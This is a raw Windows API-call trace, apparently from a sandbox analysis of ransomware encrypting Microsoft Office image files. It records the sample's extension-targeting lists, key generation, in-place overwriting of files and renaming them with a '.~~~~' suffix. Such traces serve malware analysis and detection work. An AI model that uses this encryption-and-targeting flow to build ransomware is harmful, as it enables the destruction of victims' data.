	[0140.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0c70 | out: hHeap=0x300000) returned 1
	[0140.977] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0140.977] GetLastError () returned 0x0
	[0140.978] GetLastError () returned 0x0
	[0140.978] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0140.978] GetLastError () returned 0x0
	[0140.978] GetLastError () returned 0x0
	[0140.978] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x95dd, lpOverlapped=0x0) returned 1
	[0140.983] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff6a23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.983] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x95dd, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x95dd, lpOverlapped=0x0) returned 1
	[0140.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.983] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.983] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.984] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.984] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.984] CloseHandle (hObject=0x138) returned 1
	[0140.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0c70
	[0140.984] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34f.gif.~~~~")) returned 1
	[0140.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0c70 | out: hHeap=0x300000) returned 1
	[0140.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.987] GetLastError () returned 0x0
	[0140.987] RtlWakeConditionVariable () returned 0x0
	[0140.987] GetCurrentThreadId () returned 0xaf0
	[0140.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".scr") returned 0x0
	[0140.987] lstrlenW (lpString=".cmd") returned 4
	[0140.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".cmd") returned 0x0
	[0140.988] lstrlenW (lpString=".dll") returned 4
	[0140.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".dll") returned 0x0
	[0140.988] lstrlenW (lpString=".bat") returned 4
	[0140.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".bat") returned 0x0
	[0140.988] lstrlenW (lpString=".cpl") returned 4
	[0140.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".cpl") returned 0x0
	[0140.988] lstrlenW (lpString=".sys") returned 4
	[0140.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".sys") returned 0x0
	[0140.988] lstrlenW (lpString=".msc") returned 4
	[0140.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".msc") returned 0x0
	[0140.988] lstrlenW (lpString=".com") returned 4
	[0140.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".com") returned 0x0
	[0140.988] lstrlenW (lpString=".lnk") returned 4
	[0140.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".lnk") returned 0x0
	[0140.988] lstrlenW (lpString=".msp") returned 4
	[0140.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".msp") returned 0x0
	[0140.988] lstrlenW (lpString=".pif") returned 4
	[0140.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".pif") returned 0x0
	[0140.988] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.990] lstrlenW (lpString=".sqb") returned 4
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".sqb") returned 0x0
	[0140.991] lstrlenW (lpString=".ost") returned 4
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".ost") returned 0x0
	[0140.991] lstrlenW (lpString=".txt") returned 4
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".txt") returned 0x0
	[0140.991] lstrlenW (lpString=".mdt") returned 4
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".mdt") returned 0x0
	[0140.991] lstrlenW (lpString=".BDB") returned 4
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".BDB") returned 0x0
	[0140.991] lstrlenW (lpString=".eql") returned 4
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".eql") returned 0x0
	[0140.991] lstrlenW (lpString=".DBF") returned 4
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".DBF") returned 0x0
	[0140.991] lstrlenW (lpString=".EQL") returned 4
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".EQL") returned 0x0
	[0140.991] lstrlenW (lpString=".FDB") returned 4
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".FDB") returned 0x0
	[0140.991] lstrlenW (lpString=".EDB") returned 4
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".EDB") returned 0x0
	[0140.991] lstrlenW (lpString=".DACPAC") returned 7
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.991] lstrlenW (lpString=".VHD") returned 4
	[0140.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".VHD") returned 0x0
	[0140.991] lstrlenW (lpString=".DBV") returned 4
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".DBV") returned 0x0
	[0140.992] lstrlenW (lpString=".dacpac") returned 7
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".dacpac") returned 0x0
	[0140.992] lstrlenW (lpString=".sdf") returned 4
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".sdf") returned 0x0
	[0140.992] lstrlenW (lpString=".accdb") returned 6
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".accdb") returned 0x0
	[0140.992] lstrlenW (lpString=".DBX") returned 4
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".DBX") returned 0x0
	[0140.992] lstrlenW (lpString=".MDT") returned 4
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".MDT") returned 0x0
	[0140.992] lstrlenW (lpString=".SQB") returned 4
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".SQB") returned 0x0
	[0140.992] lstrlenW (lpString=".vhd") returned 4
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".vhd") returned 0x0
	[0140.992] lstrlenW (lpString=".bac") returned 4
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".bac") returned 0x0
	[0140.992] lstrlenW (lpString=".mdf") returned 4
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".mdf") returned 0x0
	[0140.992] lstrlenW (lpString=".BAK") returned 4
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".BAK") returned 0x0
	[0140.992] lstrlenW (lpString=".BAC") returned 4
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".BAC") returned 0x0
	[0140.992] lstrlenW (lpString=".dbs") returned 4
	[0140.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".dbs") returned 0x0
	[0140.993] lstrlenW (lpString=".vhdx") returned 5
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".vhdx") returned 0x0
	[0140.993] lstrlenW (lpString=".NDF") returned 4
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".NDF") returned 0x0
	[0140.993] lstrlenW (lpString=".dat") returned 4
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".dat") returned 0x0
	[0140.993] lstrlenW (lpString=".DBS") returned 4
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".DBS") returned 0x0
	[0140.993] lstrlenW (lpString=".CKP") returned 4
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".CKP") returned 0x0
	[0140.993] lstrlenW (lpString=".edb") returned 4
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".edb") returned 0x0
	[0140.993] lstrlenW (lpString=".PST") returned 4
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".PST") returned 0x0
	[0140.993] lstrlenW (lpString=".dbf") returned 4
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".dbf") returned 0x0
	[0140.993] lstrlenW (lpString=".SQL") returned 4
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".SQL") returned 0x0
	[0140.993] lstrlenW (lpString=".pst") returned 4
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".pst") returned 0x0
	[0140.993] lstrlenW (lpString=".dbv") returned 4
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".dbv") returned 0x0
	[0140.993] lstrlenW (lpString=".SDF") returned 4
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".SDF") returned 0x0
	[0140.993] lstrlenW (lpString=".dtxs") returned 5
	[0140.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".dtxs") returned 0x0
	[0140.994] lstrlenW (lpString=".db3") returned 4
	[0140.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".db3") returned 0x0
	[0140.994] lstrlenW (lpString=".OST") returned 4
	[0140.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".OST") returned 0x0
	[0140.994] lstrlenW (lpString=".dbx") returned 4
	[0140.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".dbx") returned 0x0
	[0140.994] lstrlenW (lpString=".DB3") returned 4
	[0140.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".DB3") returned 0x0
	[0140.994] lstrlenW (lpString=".DAT") returned 4
	[0140.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".DAT") returned 0x0
	[0140.994] lstrlenW (lpString=".VHDX") returned 5
	[0140.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".VHDX") returned 0x0
	[0140.994] lstrlenW (lpString=".ndf") returned 4
	[0140.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".ndf") returned 0x0
	[0140.994] lstrlenW (lpString=".DB") returned 3
	[0140.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".DB") returned 0x0
	[0140.994] lstrlenW (lpString=".sql") returned 4
	[0140.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".sql") returned 0x0
	[0140.994] lstrlenW (lpString=".MYD") returned 4
	[0140.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".MYD") returned 0x0
	[0140.995] lstrlenW (lpString=".DBT") returned 4
	[0140.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".DBT") returned 0x0
	[0140.995] lstrlenW (lpString=".ACCDB") returned 6
	[0140.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.995] lstrlenW (lpString=".fdb") returned 4
	[0140.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".fdb") returned 0x0
	[0140.995] lstrlenW (lpString=".bak") returned 4
	[0140.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".bak") returned 0x0
	[0140.995] lstrlenW (lpString=".myd") returned 4
	[0140.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".myd") returned 0x0
	[0140.995] lstrlenW (lpString=".DTXS") returned 5
	[0140.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".DTXS") returned 0x0
	[0140.995] lstrlenW (lpString=".ckp") returned 4
	[0140.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".ckp") returned 0x0
	[0140.995] lstrlenW (lpString=".dbt") returned 4
	[0140.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".dbt") returned 0x0
	[0140.995] lstrlenW (lpString=".db") returned 3
	[0140.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".db") returned 0x0
	[0140.995] lstrlenW (lpString=".TXT") returned 4
	[0140.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".TXT") returned 0x0
	[0140.995] lstrlenW (lpString=".MDF") returned 4
	[0140.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".MDF") returned 0x0
	[0140.995] lstrlenW (lpString=".bdb") returned 4
	[0140.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".bdb") returned 0x0
	[0140.996] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0140.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.996] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0140.997] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.997] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0140.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0140.997] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26098720069) returned 1
	[0140.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbd71a630, dwHighDateTime=0x1d60e1e)) 
	[0140.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0140.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2ac8
	[0140.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2ac8 | out: hHeap=0x300000) returned 1
	[0140.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0c70
	[0140.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0c70 | out: hHeap=0x300000) returned 1
	[0140.998] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0140.998] GetLastError () returned 0x0
	[0140.998] GetLastError () returned 0x0
	[0140.998] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0140.998] GetLastError () returned 0x0
	[0140.999] GetLastError () returned 0x0
	[0140.999] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x11ec, lpOverlapped=0x0) returned 1
	[0141.001] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffee14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.001] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x11ec, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x11ec, lpOverlapped=0x0) returned 1
	[0141.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.002] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.002] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.002] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.002] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.002] CloseHandle (hObject=0x138) returned 1
	[0141.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0c70
	[0141.002] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35b.gif.~~~~")) returned 1
	[0141.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0c70 | out: hHeap=0x300000) returned 1
	[0141.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0141.005] GetLastError () returned 0x0
	[0141.006] RtlWakeConditionVariable () returned 0x0
	[0141.006] GetCurrentThreadId () returned 0xaf0
	[0141.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".scr") returned 0x0
	[0141.006] lstrlenW (lpString=".cmd") returned 4
	[0141.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".cmd") returned 0x0
	[0141.006] lstrlenW (lpString=".dll") returned 4
	[0141.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF", lpSrch=".dll") returned 0x0
	[0141.006] lstrlenW (lpString=".bat") returned 4
